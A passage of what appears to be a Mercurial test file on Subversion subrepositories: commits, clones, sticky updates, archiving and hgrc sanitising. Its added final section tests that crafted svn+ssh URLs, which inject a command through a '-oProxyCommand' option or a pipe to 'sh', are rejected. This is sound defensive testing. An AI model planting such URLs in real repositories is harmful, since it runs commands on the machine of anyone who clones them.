   update: (current)
   phases: 2 draft
   $ hg ci -moops
   nothing changed
   [1]
 
 debugsub
 
   $ hg debugsub
   path s
    source   file://*/svn-repo/src (glob)
    revision 2
   path subdir/s
    source   file://*/svn-repo/src (glob)
    revision 2
 
 change file in svn and hg, commit
 
   $ echo a >> a
   $ echo alpha >> s/alpha
   $ hg sum
   parent: 1:* tip (glob)
    1
   branch: default
   commit: 1 modified, 1 subrepos
   update: (current)
   phases: 2 draft
   $ hg commit --subrepos -m 'Message!' | filter_svn_output
   committing subrepository s
   Sending*s/alpha (glob)
   Committed revision 3.
   Fetching external item into '*s/externals'* (glob)
   External at revision 1.
   At revision 3.
   $ hg debugsub
   path s
    source   file://*/svn-repo/src (glob)
    revision 3
   path subdir/s
    source   file://*/svn-repo/src (glob)
    revision 2
 
 missing svn file, commit should fail
 
   $ rm s/alpha
   $ hg commit --subrepos -m 'abort on missing file'
   committing subrepository s
   abort: cannot commit missing svn entries (in subrepository "s")
   [255]
   $ svn revert s/alpha > /dev/null
 
 add an unrelated revision in svn and update the subrepo to without
 bringing any changes.
 
   $ svn mkdir "$SVNREPOURL/unrelated" -qm 'create unrelated'
   $ svn up -q s
   $ hg sum
   parent: 2:* tip (glob)
    Message!
   branch: default
   commit: (clean)
   update: (current)
   phases: 3 draft
 
   $ echo a > s/a
 
 should be empty despite change to s/a
 
   $ hg st
 
 add a commit from svn
 
   $ cd "$WCROOT/src"
   $ svn up -q
   $ echo xyz >> alpha
   $ svn propset svn:mime-type 'text/xml' alpha
   property 'svn:mime-type' set on 'alpha'
   $ svn ci -qm 'amend a from svn'
   $ cd ../../sub/t
 
 this commit from hg will fail
 
   $ echo zzz >> s/alpha
   $ (hg ci --subrepos -m 'amend alpha from hg' 2>&1; echo "[$?]") | grep -vi 'out of date'
   committing subrepository s
   abort: svn:*Commit failed (details follow): (glob)
   [255]
   $ svn revert -q s/alpha
 
 this commit fails because of meta changes
 
   $ svn propset svn:mime-type 'text/html' s/alpha
   property 'svn:mime-type' set on 's/alpha' (glob)
   $ (hg ci --subrepos -m 'amend alpha from hg' 2>&1; echo "[$?]") | grep -vi 'out of date'
   committing subrepository s
   abort: svn:*Commit failed (details follow): (glob)
   [255]
   $ svn revert -q s/alpha
 
 this commit fails because of externals changes
 
   $ echo zzz > s/externals/other
   $ hg ci --subrepos -m 'amend externals from hg'
   committing subrepository s
   abort: cannot commit svn externals (in subrepository "s")
   [255]
   $ hg diff --subrepos -r 1:2 | grep -v diff
   --- a/.hgsubstate	Thu Jan 01 00:00:00 1970 +0000
   +++ b/.hgsubstate	Thu Jan 01 00:00:00 1970 +0000
   @@ -1,2 +1,2 @@
   -2 s
   +3 s
    2 subdir/s
   --- a/a	Thu Jan 01 00:00:00 1970 +0000
   +++ b/a	Thu Jan 01 00:00:00 1970 +0000
   @@ -1,1 +1,2 @@
    a
   +a
   $ svn revert -q s/externals/other
 
 this commit fails because of externals meta changes
 
   $ svn propset svn:mime-type 'text/html' s/externals/other
   property 'svn:mime-type' set on 's/externals/other' (glob)
   $ hg ci --subrepos -m 'amend externals from hg'
   committing subrepository s
   abort: cannot commit svn externals (in subrepository "s")
   [255]
   $ svn revert -q s/externals/other
 
 clone
 
   $ cd ..
   $ hg clone t tc
   updating to branch default
   A    tc/s/alpha (glob)
    U   tc/s (glob)
   
   Fetching external item into 'tc/s/externals'* (glob)
   A    tc/s/externals/other (glob)
   Checked out external at revision 1.
   
   Checked out revision 3.
   A    tc/subdir/s/alpha (glob)
    U   tc/subdir/s (glob)
   
   Fetching external item into 'tc/subdir/s/externals'* (glob)
   A    tc/subdir/s/externals/other (glob)
   Checked out external at revision 1.
   
   Checked out revision 2.
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd tc
 
 debugsub in clone
 
   $ hg debugsub
   path s
    source   file://*/svn-repo/src (glob)
    revision 3
   path subdir/s
    source   file://*/svn-repo/src (glob)
    revision 2
 
 verify subrepo is contained within the repo directory
 
   $ $PYTHON -c "import os.path; print os.path.exists('s')"
   True
 
 update to nullrev (must delete the subrepo)
 
   $ hg up null
   0 files updated, 0 files merged, 3 files removed, 0 files unresolved
   $ ls
 
 Check hg update --clean
   $ cd "$TESTTMP/sub/t"
   $ cd s
   $ echo c0 > alpha
   $ echo c1 > f1
   $ echo c1 > f2
   $ svn add f1 -q
   $ svn status | sort
   
   ? *    a (glob)
   ? *    f2 (glob)
   A *    f1 (glob)
   M *    alpha (glob)
   Performing status on external item at 'externals'* (glob)
   X *    externals (glob)
   $ cd ../..
   $ hg -R t update -C
   
   Fetching external item into 't/s/externals'* (glob)
   Checked out external at revision 1.
   
   Checked out revision 3.
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd t/s
   $ svn status | sort
   
   ? *    a (glob)
   ? *    f1 (glob)
   ? *    f2 (glob)
   Performing status on external item at 'externals'* (glob)
   X *    externals (glob)
 
 Sticky subrepositories, no changes
   $ cd "$TESTTMP/sub/t"
   $ hg id -n
   2
   $ cd s
   $ svnversion
   3
   $ cd ..
   $ hg update 1
   U    *s/alpha (glob)
   
   Fetching external item into '*s/externals'* (glob)
   Checked out external at revision 1.
   
   Checked out revision 2.
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg id -n
   1
   $ cd s
   $ svnversion
   2
   $ cd ..
 
 Sticky subrepositories, file changes
   $ touch s/f1
   $ cd s
   $ svn add f1
   A         f1
   $ cd ..
   $ hg id -n
   1+
   $ cd s
   $ svnversion
   2M
   $ cd ..
   $ hg update tip
    subrepository s diverged (local revision: 2, remote revision: 3)
   (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
    subrepository sources for s differ
   use (l)ocal source (2) or (r)emote source (3)? l
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg id -n
   2+
   $ cd s
   $ svnversion
   2M
   $ cd ..
   $ hg update --clean tip
   U    *s/alpha (glob)
   
   Fetching external item into '*s/externals'* (glob)
   Checked out external at revision 1.
   
   Checked out revision 3.
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
 Sticky subrepository, revision updates
   $ hg id -n
   2
   $ cd s
   $ svnversion
   3
   $ cd ..
   $ cd s
   $ svn update -qr 1
   $ cd ..
   $ hg update 1
    subrepository s diverged (local revision: 3, remote revision: 2)
   (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
    subrepository sources for s differ (in checked out version)
   use (l)ocal source (1) or (r)emote source (2)? l
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg id -n
   1+
   $ cd s
   $ svnversion
   1
   $ cd ..
 
 Sticky subrepository, file changes and revision updates
   $ touch s/f1
   $ cd s
   $ svn add f1
   A         f1
   $ svnversion
   1M
   $ cd ..
   $ hg id -n
   1+
   $ hg update tip
    subrepository s diverged (local revision: 3, remote revision: 3)
   (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
    subrepository sources for s differ
   use (l)ocal source (1) or (r)emote source (3)? l
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg id -n
   2+
   $ cd s
   $ svnversion
   1M
   $ cd ..
 
 Sticky repository, update --clean
   $ hg update --clean tip | grep -v 's[/\]externals[/\]other'
   U    *s/alpha (glob)
    U   *s (glob)
   
   Fetching external item into '*s/externals'* (glob)
   Checked out external at revision 1.
   
   Checked out revision 3.
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg id -n
   2
   $ cd s
   $ svnversion
   3
   $ cd ..
 
 Test subrepo already at intended revision:
   $ cd s
   $ svn update -qr 2
   $ cd ..
   $ hg update 1
    subrepository s diverged (local revision: 3, remote revision: 2)
   (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg id -n
   1+
   $ cd s
   $ svnversion
   2
   $ cd ..
 
 Test case where subversion would fail to update the subrepo because there
 are unknown directories being replaced by tracked ones (happens with rebase).
 
   $ cd "$WCROOT/src"
   $ mkdir dir
   $ echo epsilon.py > dir/epsilon.py
   $ svn add dir
   A         dir
   A         dir/epsilon.py (glob)
   $ svn ci -qm 'Add dir/epsilon.py'
   $ cd ../..
   $ hg init rebaserepo
   $ cd rebaserepo
   $ svn co -r5 --quiet "$SVNREPOURL"/src s
   $ echo "s =        [svn]       $SVNREPOURL/src" >> .hgsub
   $ hg add .hgsub
   $ hg ci -m addsub
   $ echo a > a
   $ hg add .
   adding a
   $ hg ci -m adda
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ svn up -qr6 s
   $ hg ci -m updatesub
   created new head
   $ echo pyc > s/dir/epsilon.pyc
   $ hg up 1
   D    *s/dir (glob)
   
   Fetching external item into '*s/externals'* (glob)
   Checked out external at revision 1.
   
   Checked out revision 5.
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg up -q 2
 
 Modify one of the externals to point to a different path so we can
 test having obstructions when switching branches on checkout:
   $ hg checkout tip
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ echo "obstruct =        [svn]       $SVNREPOURL/externals" >> .hgsub
   $ svn co -r5 --quiet "$SVNREPOURL"/externals obstruct
   $ hg commit -m 'Start making obstructed working copy'
   $ hg book other
   $ hg co -r 'p1(tip)'
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (leaving bookmark other)
   $ echo "obstruct =        [svn]       $SVNREPOURL/src" >> .hgsub
   $ svn co -r5 --quiet "$SVNREPOURL"/src obstruct
   $ hg commit -m 'Other branch which will be obstructed'
   created new head
 
 Switching back to the head where we have another path mapped to the
 same subrepo should work if the subrepo is clean.
   $ hg co other
   A    *obstruct/other (glob)
   Checked out revision 1.
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark other)
 
 This is surprising, but is also correct based on the current code:
   $ echo "updating should (maybe) fail" > obstruct/other
   $ hg co tip
   abort: uncommitted changes
   (commit or update --clean to discard changes)
   [255]
 
 Point to a Subversion branch which has since been deleted and recreated
 First, create that condition in the repository.
 
   $ hg ci --subrepos -m cleanup | filter_svn_output
   committing subrepository obstruct
   Sending        obstruct/other (glob)
   Committed revision 7.
   At revision 7.
   $ svn mkdir -qm "baseline" $SVNREPOURL/trunk
   $ svn copy -qm "initial branch" $SVNREPOURL/trunk $SVNREPOURL/branch
   $ svn co --quiet "$SVNREPOURL"/branch tempwc
   $ cd tempwc
   $ echo "something old" > somethingold
   $ svn add somethingold
   A         somethingold
   $ svn ci -qm 'Something old'
   $ svn rm -qm "remove branch" $SVNREPOURL/branch
   $ svn copy -qm "recreate branch" $SVNREPOURL/trunk $SVNREPOURL/branch
   $ svn up -q
   $ echo "something new" > somethingnew
   $ svn add somethingnew
   A         somethingnew
   $ svn ci -qm 'Something new'
   $ cd ..
   $ rm -rf tempwc
   $ svn co "$SVNREPOURL/branch"@10 recreated
   A    recreated/somethingold (glob)
   Checked out revision 10.
   $ echo "recreated =        [svn]       $SVNREPOURL/branch" >> .hgsub
   $ hg ci -m addsub
   $ cd recreated
   $ svn up -q
   $ cd ..
   $ hg ci -m updatesub
   $ hg up -r-2
   D    *recreated/somethingnew (glob)
   A    *recreated/somethingold (glob)
   Checked out revision 10.
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (leaving bookmark other)
   $ test -f recreated/somethingold
 
 Test archive
 
   $ hg archive -S ../archive-all --debug --config progress.debug=true
   archiving: 0/2 files (0.00%)
   archiving: .hgsub 1/2 files (50.00%)
   archiving: .hgsubstate 2/2 files (100.00%)
   archiving (obstruct): 0/1 files (0.00%)
   archiving (obstruct): 1/1 files (100.00%)
   archiving (recreated): 0/1 files (0.00%)
   archiving (recreated): 1/1 files (100.00%)
   archiving (s): 0/2 files (0.00%)
   archiving (s): 1/2 files (50.00%)
   archiving (s): 2/2 files (100.00%)
 
   $ hg archive -S ../archive-exclude --debug --config progress.debug=true -X **old
   archiving: 0/2 files (0.00%)
   archiving: .hgsub 1/2 files (50.00%)
   archiving: .hgsubstate 2/2 files (100.00%)
   archiving (obstruct): 0/1 files (0.00%)
   archiving (obstruct): 1/1 files (100.00%)
   archiving (recreated): 0 files
   archiving (s): 0/2 files (0.00%)
   archiving (s): 1/2 files (50.00%)
   archiving (s): 2/2 files (100.00%)
   $ find ../archive-exclude | sort
   ../archive-exclude
   ../archive-exclude/.hg_archival.txt
   ../archive-exclude/.hgsub
   ../archive-exclude/.hgsubstate
   ../archive-exclude/obstruct
   ../archive-exclude/obstruct/other
   ../archive-exclude/s
   ../archive-exclude/s/alpha
   ../archive-exclude/s/dir
   ../archive-exclude/s/dir/epsilon.py
 
 Test forgetting files, not implemented in svn subrepo, used to
 traceback
 
 #if no-windows
   $ hg forget 'notafile*'
   notafile*: No such file or directory
   [1]
 #else
   $ hg forget 'notafile'
   notafile: * (glob)
   [1]
 #endif
 
 Test a subrepo referencing a just moved svn path. Last commit rev will
 be different from the revision, and the path will be different as
 well.
 
   $ cd "$WCROOT"
   $ svn up > /dev/null
   $ mkdir trunk/subdir branches
   $ echo a > trunk/subdir/a
   $ svn add trunk/subdir branches
   A         trunk/subdir (glob)
   A         trunk/subdir/a (glob)
   A         branches
   $ svn ci -qm addsubdir
   $ svn cp -qm branchtrunk $SVNREPOURL/trunk $SVNREPOURL/branches/somebranch
   $ cd ..
 
   $ hg init repo2
   $ cd repo2
   $ svn co $SVNREPOURL/branches/somebranch/subdir
   A    subdir/a (glob)
   Checked out revision 15.
   $ echo "subdir = [svn] $SVNREPOURL/branches/somebranch/subdir" > .hgsub
   $ hg add .hgsub
   $ hg ci -m addsub
   $ hg up null
   0 files updated, 0 files merged, 2 files removed, 0 files unresolved
   $ hg up
   A    *subdir/a (glob)
   Checked out revision 15.
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd ..
 
 Test sanitizing ".hg/hgrc" in subrepo
 
   $ cd sub/t
   $ hg update -q -C tip
   $ cd s
   $ mkdir .hg
   $ echo '.hg/hgrc in svn repo' > .hg/hgrc
   $ mkdir -p sub/.hg
   $ echo 'sub/.hg/hgrc in svn repo' > sub/.hg/hgrc
   $ svn add .hg sub
   A         .hg
   A         .hg/hgrc (glob)
   A         sub
   A         sub/.hg (glob)
   A         sub/.hg/hgrc (glob)
   $ svn ci -qm 'add .hg/hgrc to be sanitized at hg update'
   $ svn up -q
   $ cd ..
   $ hg commit -S -m 'commit with svn revision including .hg/hgrc'
   $ grep ' s$' .hgsubstate
   16 s
   $ cd ..
 
   $ hg -R tc pull -u -q 2>&1 | sort
   warning: removing potentially hostile 'hgrc' in '$TESTTMP/sub/tc/s/.hg' (glob)
   warning: removing potentially hostile 'hgrc' in '$TESTTMP/sub/tc/s/sub/.hg' (glob)
   $ cd tc
   $ grep ' s$' .hgsubstate
   16 s
   $ test -f s/.hg/hgrc
   [1]
   $ test -f s/sub/.hg/hgrc
   [1]
 
 Test that sanitizing is omitted in meta data area:
 
   $ mkdir s/.svn/.hg
   $ echo '.hg/hgrc in svn metadata area' > s/.svn/.hg/hgrc
   $ hg update -q -C '.^1'
 
   $ cd ../..
+
+SEC: test for ssh exploit
+
+  $ hg init ssh-vuln
+  $ cd ssh-vuln
+  $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub
+  $ svn co --quiet "$SVNREPOURL"/src s
+  $ hg add .hgsub
+  $ hg ci -m1
+  $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub
+  $ hg ci -m2
+  $ cd ..
+  $ hg clone ssh-vuln ssh-vuln-clone
+  updating to branch default
+  abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s")
+  [255]
+
+also check that a percent encoded '-' (%2D) doesn't work
+
+  $ cd ssh-vuln
+  $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub
+  $ hg ci -m3
+  $ cd ..
+  $ rm -r ssh-vuln-clone
+  $ hg clone ssh-vuln ssh-vuln-clone
+  updating to branch default
+  abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s")
+  [255]
+
+also check for a pipe
+
+  $ cd ssh-vuln
+  $ echo "s = [svn]svn+ssh://fakehost|sh%20nested" > .hgsub
+  $ hg ci -m3
+  $ cd ..
+  $ rm -r ssh-vuln-clone
+  $ hg clone ssh-vuln ssh-vuln-clone
+  updating to branch default
+  abort: potentially unsafe url: 'svn+ssh://fakehost|sh nested' (in subrepository "s")
+  [255]
+
+also check that a percent encoded '|' (%7C) doesn't work
+
+  $ cd ssh-vuln
+  $ echo "s = [svn]svn+ssh://fakehost%7Csh%20nested" > .hgsub
+  $ hg ci -m3
+  $ cd ..
+  $ rm -r ssh-vuln-clone
+  $ hg clone ssh-vuln ssh-vuln-clone
+  updating to branch default
+  abort: potentially unsafe url: 'svn+ssh://fakehost|sh nested' (in subrepository "s")
+  [255]
+
+also check that hiding the attack in the username doesn't work:
+
+  $ cd ssh-vuln
+  $ echo "s = [svn]svn+ssh://%2DoProxyCommand=[e-mail]/nested" > .hgsub
+  $ hg ci -m3
+  $ cd ..
+  $ rm -r ssh-vuln-clone
+  $ hg clone ssh-vuln ssh-vuln-clone
+  updating to branch default
+  abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned [e-mail]/nested' (in subrepository "s")
+  [255]